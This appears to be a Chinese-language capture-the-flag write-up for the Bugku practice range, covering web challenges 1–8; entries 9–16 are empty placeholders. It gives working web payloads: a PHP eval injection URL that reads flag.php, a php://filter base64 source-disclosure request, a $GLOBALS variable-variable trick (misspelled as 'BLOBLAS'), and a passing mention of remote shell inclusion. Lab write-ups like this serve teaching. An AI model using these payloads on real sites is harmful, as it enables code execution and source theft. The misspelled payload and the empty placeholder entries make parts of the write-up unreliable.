bugku靶场

web

web1

https://segmentfault.com/a/1190000016750234

知识基础

涉及到的几个函数:

1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

1
2
3
4
5
<?php
eval("echo'hello';echo' world';");
?>
# output
hello world

3.var_dump: 函数用于输出变量的相关信息

1
2
3
4
# 数字
var_dump(1); > int(1)
# 字符串
var_dump("string"); > string(6) "string"
解题思路

eval应该是此题的突破口,能够执行php代码。

hello是接受参数的变量,接下来就是构建hello变量,使其能够闭合var_dump,利用print_r输出

首先闭合var_dump: 1)";

第二步构建print_r:print_r(file("./flag.php"));

URL构建结束:

http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")

构建的URL触发的 eval操作为

eval("var_dump(1);print_r(file("./flag.php")")

成功输出 flag.php 文件内容

web2

这题考爆破密码

web3

这题源码有问题

知识基础PHP自动化的全局变量:**$GLOBALS** — 引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键
解题思路

正则表达式”/^\w+$/“,匹配字符串,\w表示字符+数字+下划线{ a-z,A-Z,_,0-9 }。如果不匹配会输出 ‘’args error!‘’\

1
两个`/``/`表明正则表达式的开始与结束,`^`开始字符,`$`结束字符,`+`代表可以有一个或多个`\w`

PHP中变量可以当作另一个变量的变量名:$$args,结合第一句flag In the variable !

所以构造payload:URL?args=BLOBLAS

即可爆出所有args,其中包含flag

web4

知识基础

通过抓包修改file值的办法去运行一些本来不该运行的文件

也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)

解题思路

通过构造如下语句:

1
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

就能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码

web5

知识基础这题不难,看php语言都会了
解题思路
1
2
3
4
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
1
http://xxx.com/?what=flag

web6

知识基础
1
2
3
4
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
解题思路很明显这个是post请求

image-20200715202922851

web7

知识基础> JavaScript是一种属于网络的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的。 > jother是另类的javascript工具 > 一堆+!的东西就用jother解码 > 可以打开谷歌浏览器 按F12 > 然后console将那堆解码的东西复制过去 按回车即可解码 >
解题思路多看源码,我也不知道这是什么鬼

copy到console

显示”ctf{whatfk}”

得到flag

web8

知识基础
1
2
3
4
5
6
7
8
php
$num=$_GET['num'];//GET方式获取参数
if(!is_numeric($num))//is_numeric()函数是判断是否为数字或者数字字符串
{
echo $num;
if($num==1)//矛盾既要是1又要不是数字
echo 'flag{**********}';
}
解题思路构造num=1X X还可以是任何字母或者字符串,构造url:http://xxx.com/get/index1.php?num=1xx

得到flag

web9

知识基础

1

解题思路

1

web10

知识基础

1

解题思路

1

web11

知识基础

1

解题思路

1

web12

知识基础

1

解题思路

1

web13

知识基础

1

解题思路

1

web14

知识基础

1

解题思路

1

web15

知识基础

1

解题思路

1

web16

知识基础

1

解题思路

1